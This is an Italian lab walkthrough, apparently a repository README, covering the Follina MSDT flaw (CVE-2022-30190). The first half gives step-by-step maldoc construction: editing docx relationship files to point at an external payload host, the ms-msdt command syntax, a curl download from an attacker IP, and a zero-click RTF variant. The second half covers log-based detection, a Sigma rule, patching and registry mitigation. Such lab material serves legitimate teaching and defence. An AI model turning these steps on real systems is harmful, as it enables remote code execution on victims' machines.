muhammad-ali007/follina_msdt_cve-2022-30190Exploit educativo per CVE-2022-30190 (Follina) che dimostra l'esecuzione di codice remoto tramite MSDT attraverso documenti Office dannosi, con indicazioni per il rilevamento e la mitigazione.
Microsoft spiega che “esiste una vulnerabilità di esecuzione di codice in remoto quando MSDT viene chiamato utilizzando il protocollo URL da un'applicazione chiamante come Word. Un utente malintenzionato che sfrutta con successo questa vulnerabilità può eseguire codice arbitrario con i privilegi dell'applicazione chiamante. L'attaccante può quindi installare programmi, visualizzare, modificare o eliminare dati, o creare nuovi account nel contesto consentito dai diritti dell'utente”. (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
Microsoft afferma che “il Microsoft Support Diagnostic Tool (MSDT) raccoglie informazioni da inviare al supporto Microsoft. Questi analizzeranno quindi queste informazioni e le utilizzeranno per determinare la risoluzione di eventuali problemi che potresti riscontrare sul tuo computer”. Detto questo, è essenzialmente un modo per il supporto Microsoft di vedere immediatamente cosa non va, ricevendo tutte le informazioni necessarie direttamente dalla fonte.
Spiegazione dell'exploit
Iniziamo con una precisazione: per i nostri scopi, carichiamo il nostro payload tramite un documento Word, in particolare nel formato .docx - questo è l'exploit originale scoperto in natura. Tuttavia, è stato dimostrato che questa vulnerabilità funziona in molti altri prodotti Office.
Due aspetti importanti di questa vulnerabilità sono: 1 - specifici file docx contengono riferimenti a oggetti OLE (originariamente acronimo di Object Linking and Embedding), e talvolta assumono la forma di file HTML ospitati altrove. 2 - MS-MSDT consente l'esecuzione di codice.
Combinando i due aspetti sopra, uno schema HTML MS-MSDT può essere utilizzato per eseguire codice PowerShell, e un file docx può essere utilizzato per caricarlo tramite la capacità di riferimento esterno di Word.
Più specificamente, analizzando la struttura del docx, il file "word/_rels/document.xml.rels" contiene un tag XML con un attributo Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" che descrive un riferimento esterno a un oggetto oleObject. Per sfruttare questa funzionalità del docx, possiamo modificare il contenuto di questo tag per puntare invece al payload che stiamo ospitando, cambiando il valore Target in http://<external_payload_server.com>/<payload.html> e il valore TargetMode in "External".
Nel file word/document.xml, c'è un tag XML che inizia con <o:OLEObject...> in cui dovremmo cambiare il valore Type in "Link" e quindi aggiungere l'attributo chiave-valore UpdateMode="OnCall".
L'unica cosa che resta da fare è ospitare il payload a cui il file Word si collegherà e dal quale riceverà istruzioni all'apertura del file. Questo viene fatto creando un file HTML con una struttura simile alla seguente:
Nel contenuto del file HTML sopra, noterai il comando ms-msdt:/id PCWDiagnostic /skip force /param, insieme agli switch di comando che puoi usare per impostare il comando che desideri eseguire sulla macchina di destinazione. Puoi quindi combinare il payload secondo le tue esigenze.
Pertanto, abbiamo ora un modo per ottenere l'esecuzione di codice in remoto senza toccare alcuna macro e, come vedremo in seguito, senza nemmeno aprire il documento maligno.
Focus sull'exploit disponibile pubblicamente (https://github.com/JohnHammond/msdt-follina) John Hammond ha creato uno strumento per automatizzare il processo di creazione di un documento maligno (maldoc) e di conseguenza ospitare il file HTML maligno che contiene il comando dannoso. Lo strumento è documentato al link sopra, e utilizzeremo una versione forkata per comprendere meglio il concetto dell'exploit menzionato in precedenza.
Apri un terminale, clona questo repository e cambia la directory di lavoro in quella in cui è stato clonato il repository msdt-follina. root@host:~/Follina-MSDT# python3 follina.py
All'avvio dell'exploit, dovresti già ospitare il file, quindi è pronto per essere "consegnato" alla macchina vittima. Tenendo aperto il terminale originale, aprine un altro e inserisci il seguente comando per ospitare i file su un server: root@host:~/Follina-MSDT# python -m http.server 3456
Sulla macchina di destinazione, apri un prompt dei comandi e inserisci il seguente comando: C:\Users\user> cd Desktop C:\Users\user\Desktop> curl http://[attack_machine_IP]:3456/follina.doc -o follina.docx
Questo scarica il maldoc sulla nostra macchina e, poco dopo, dovresti vedere il file Word denominato follina.docx apparire sul Desktop, pronto per essere eseguito. Quando sei pronto, apri il file e guarda cosa succede. Per ora, lasciamo in esecuzione il maldoc e tutto ciò che ha generato.
Implementazione "Zero Click"
Per replicare l'implementazione "zero click" di questa vulnerabilità, ci basta andare al file Word maligno, aggiungere un messaggio carino (completamente facoltativo), salvarlo in Rich Text Format (RTF) e siamo pronti. Questa implementazione presuppone che la macchina vittima sia nella visualizzazione del riquadro di anteprima, altrimenti tornerà alla funzionalità originale che verrà comunque eseguita all'apertura del file.
Apri Esplora file e naviga fino alla cartella Desktop. Lì vedrai il file apparentemente innocuo che abbiamo creato e che necessita di clic: cliccalo una volta, facendo attenzione a non aprirlo effettivamente, e osserva cosa succede.
Nonostante il file non sia stato effettivamente aperto, l'exploit è stato eseguito nello stesso modo di prima in questo esercizio. Ciò è accaduto grazie a due caratteristiche chiave: 1 - la funzionalità di Esplora file di visualizzare in anteprima i file prima di aprirli. 2 - l'RTF che consente la funzionalità dei file di documento di essere visualizzati in anteprima in Esplora file prima di essere aperti (tra gli altri scopi).
Combinando le due e abusandone, si ottiene un vettore di attacco che abbiamo appena osservato.
Rilevamento e mitigazione Caccia alle minacce:
La macchina Windows che abbiamo utilizzato per studiare lo sfruttamento della vulnerabilità è stata preconfigurata con la registrazione abilitata per:
Questi meccanismi di auditing non sono configurati per impostazione predefinita, quindi è imperativo attivarli nei propri ambienti per aiutare a rilevare comportamenti sospetti e mantenere dati preziosi disponibili per gli esaminatori forensi.
Durante il processo precedente, abbiamo identificato diverse creazioni di processi interessanti durante lo sfruttamento della vulnerabilità. Queste creazioni di processi vengono registrate nei registri di sicurezza di Windows, pronti per essere analizzati tramite il tuo visualizzatore preferito o inoltrati a un raccoglitore di log centralizzato per essere elaborati e successivamente utilizzati.
Per questo compito utilizzeremo Event Log Viewer for Windows di Nirsoft per controllare le creazioni di processi che abbiamo identificato in precedenza. Cercheremo quindi i dettagli all'interno di queste creazioni di processi che possiamo utilizzare per cercare indizi in altri registri eventi per spiegare meglio cosa è successo dietro le quinte.
Procedi ad aprire FullEventLogView. Vai su View > Use Quick Filter. Dovrebbe apparire una barra di ricerca sopra i log che ci permetterà di effettuare ricerche rapide. Poiché volevamo controllare i dettagli delle nostre creazioni di processi, possiamo cliccare sul menu a tendina più a sinistra e scegliere Find Event ID (space/comma...), quindi digitare 4688 nella barra di ricerca fornita.
La schermata dovrebbe popolarsi con eventi di creazione di processi e noterai immediatamente che ce ne sono moltissimi, nonostante l'interazione minima con la macchina.
Il primo artefatto che controlleremo è winword.exe - comprendere il flusso degli eventi da questo processo ci dà un'idea di come un processo Office in generale si comporterà nel contesto di uno sfruttamento di msdt. Premi Ctrl+F per attivare una funzione di ricerca e digita winword.
La prima voce che probabilmente vedrai è quella in cui WINWORD.EXE è il nuovo processo creato, identificato dal dettaglio: New Process Name. Questo processo segna l'apertura del file follina.docx, tramite il dettaglio: Process Command Line. È del tutto normale che non appaia esattamente uguale. Clicca sul pulsante Find Next finché non trovi una voce che assomiglia a un lungo comando "ms-msdt" (powershell).
Qui vedremo che WINWORD.EXE è il Creator Process, più comunemente noto come Processo Padre di msdt.exe. Nota la lunga riga di comando che contiene più cmdlet PowerShell (pronunciati command-let) così come molteplici attraversamenti di directory. Vedere questo, da solo, nel tuo ambiente dovrebbe far scattare immediatamente bandiere rosse. Un piccolo tesoro gratuito che possiamo esaminare da vicino qui è la stringa Y2FsYw== che, una volta decodificata, restituirebbe la stringa calc.
Poiché abbiamo visto cmdlet PowerShell, avrebbe senso filtrare gli eventi di PowerShell per controllare ulteriormente questa pista. Dato che ci sono molti ID evento unici che registrano eventi PowerShell, possiamo filtrare per Provider. Vai su Options > Advanced Options. Clicca sul secondo menu a tendina e seleziona Show only the specific providers (comma-delimited...). Digita PowerShell racchiuso tra wildcard (*) in modo che tutti i provider relativi a PowerShell vengano inclusi.
Cancella la "Quick Filter" con il 4688 inserito in precedenza e la schermata dovrebbe popolarsi con eventi provenienti esclusivamente dai provider PowerShell. Da qui, possiamo filtrare gli eventi tramite una parte del comando PowerShell annotato sopra.
Una volta arrivati a questo evento, possiamo chiudere la funzione di ricerca e procedere a seguire la traccia di questo testo Scriptblock; puoi navigare all'evento successivo premendo il tasto giù sulla tastiera o cliccando manualmente sull'evento. Esplorare gli eventi immediatamente successivi a questo testo Scriptblock mostrerà l'esecuzione passo passo di calc dal punto di vista di PowerShell.
Disponibilità di regole Sigma: Huntress Detection Engineer Matthew Brennan ha creato una regola sigma per rilevare esecuzioni sospette di MSDT nell'ambiente e la cosa migliore è che viene costantemente aggiornata ogni volta che la comunità scopre qualcosa di nuovo.
La regola sigma può essere trovata qui (https://gist.github.com/matthewB-huntress/14ab9d309f25a05fc9305a8e7f351089)
Uncoder.IO (https://uncoder.io/) è un buon strumento che aiuta a convertire le regole sigma in query che possono essere immediatamente utilizzate all'interno di un SIEM di tua scelta.
Nella caccia agli exploit MSDT nell'ambiente, puoi optare per l'utilizzo della regola sigma come meccanismo di rilevamento sia per:
MSDT utilizza anche un altro binario (https://twitter.com/KyleHanslovan/status/1531114931973767168) per incanalare le esecuzioni, quindi i processi figli sospetti con esso come padre dovrebbero essere annotati e ulteriormente investigati. Le informazioni "redatte" sopra sono la risposta a una domanda nel compito precedente: controlla a tuo rischio.
Ulteriori letture: Detecting Follina: Microsoft Office remote code execution zero-day (https://www.logpoint.com/en/blog/detecting-follina-microsoft-office-remote-code-execution-zero-day/)
Antivirus / Windows Defender: Numerosi prodotti Microsoft Defender dispongono di meccanismi di rilevamento e il nostro fidato Microsoft Security Response Center (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/) ci fornisce un elenco di questi.
Rimedio
La patch per questa vulnerabilità è inclusa negli aggiornamenti cumulativi di Windows di giugno 2022. È imperativo che gli utenti installino questi aggiornamenti per essere protetti dalla vulnerabilità. Puoi farlo manualmente ogni tanto, il che non è molto efficiente e soggetto a dimenticanze, oppure puoi optare per automatizzare la verifica e l'installazione degli aggiornamenti.
Disabilita il protocollo MSDT URL: Prima che la patch venisse introdotta, i team di sicurezza si sono affrettati a chiedere agli amministratori IT delle loro organizzazioni di disabilitare immediatamente il protocollo MSDT URL. Disabilitando il protocollo MSDT URL, i risolutori di problemi non verranno avviati come collegamenti e quindi ms-msdt non potrà essere chiamato da Office. Per disabilitare il protocollo, esegui prima un prompt dei comandi come amministratore C:\Users\Administrator> reg query HKEY_CLASSES_ROOT\ms-msdt C:\Users\Administrator> reg export HKEY_CLASSES_ROOT\ms-msdt ms-msdt_backup C:\Users\Administrator\Desktop> reg delete HKEY_CLASSES_ROOT\ms-msdt /f C:\Users\Administrator\Desktop> reg query HKEY_CLASSES_ROOT\ms-msdt
A questo punto, avrai notato che cambiamo sempre la nostra directory di lavoro in Desktop - questo per poter vedere immediatamente le modifiche che i nostri comandi introducono nell'ambiente: la creazione di file è abbastanza evidente. Non è comunque una buona pratica da seguire in nessun ambiente.
Il primo comando reg query che abbiamo introdotto è un rapido controllo che la chiave esista. È seguito da reg export che esporta la nostra chiave in un file in modo da poterla reintegrare nel sistema in seguito, quando Microsoft rilascerà una correzione più permanente per questa vulnerabilità. Il file esportato viene salvato nella directory di lavoro corrente - nel nostro caso il Desktop. Il comando reg delete è il comando che effettivamente disabilita il protocollo MSDT URL, principalmente perché lo rimuove completamente dal sistema. L'ultimo comando reg query è un controllo di conferma che la chiave non esista più.
Dopo aver disabilitato il protocollo MSDT URL sulla nostra macchina Windows, proviamo a innescare nuovamente l'exploit e vediamo come impatta sulla macchina. Questo è un buon modo per verificare se i nostri controlli sarebbero in grado di intercettare gli attacchi, indipendentemente dal loro successo o meno.
Riduzione della superficie di attacco (ASR): Se utilizzi Microsoft Defender for Endpoint nel tuo ambiente, abilita la regola ASR Block all Office applications from creating child. La creazione di processi figli da servizi che non dovrebbero farlo è un tema comune tra i malware. Ulteriori letture: (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
Infine, un paio di processi di rimedio che sono sia semplici che facilmente distribuibili sono stati il metodo scelto per concludere questo argomento. Microsoft ha già rilasciato una patch che blocca l'iniezione di PowerShell, disabilitando di fatto quel vettore di attacco.
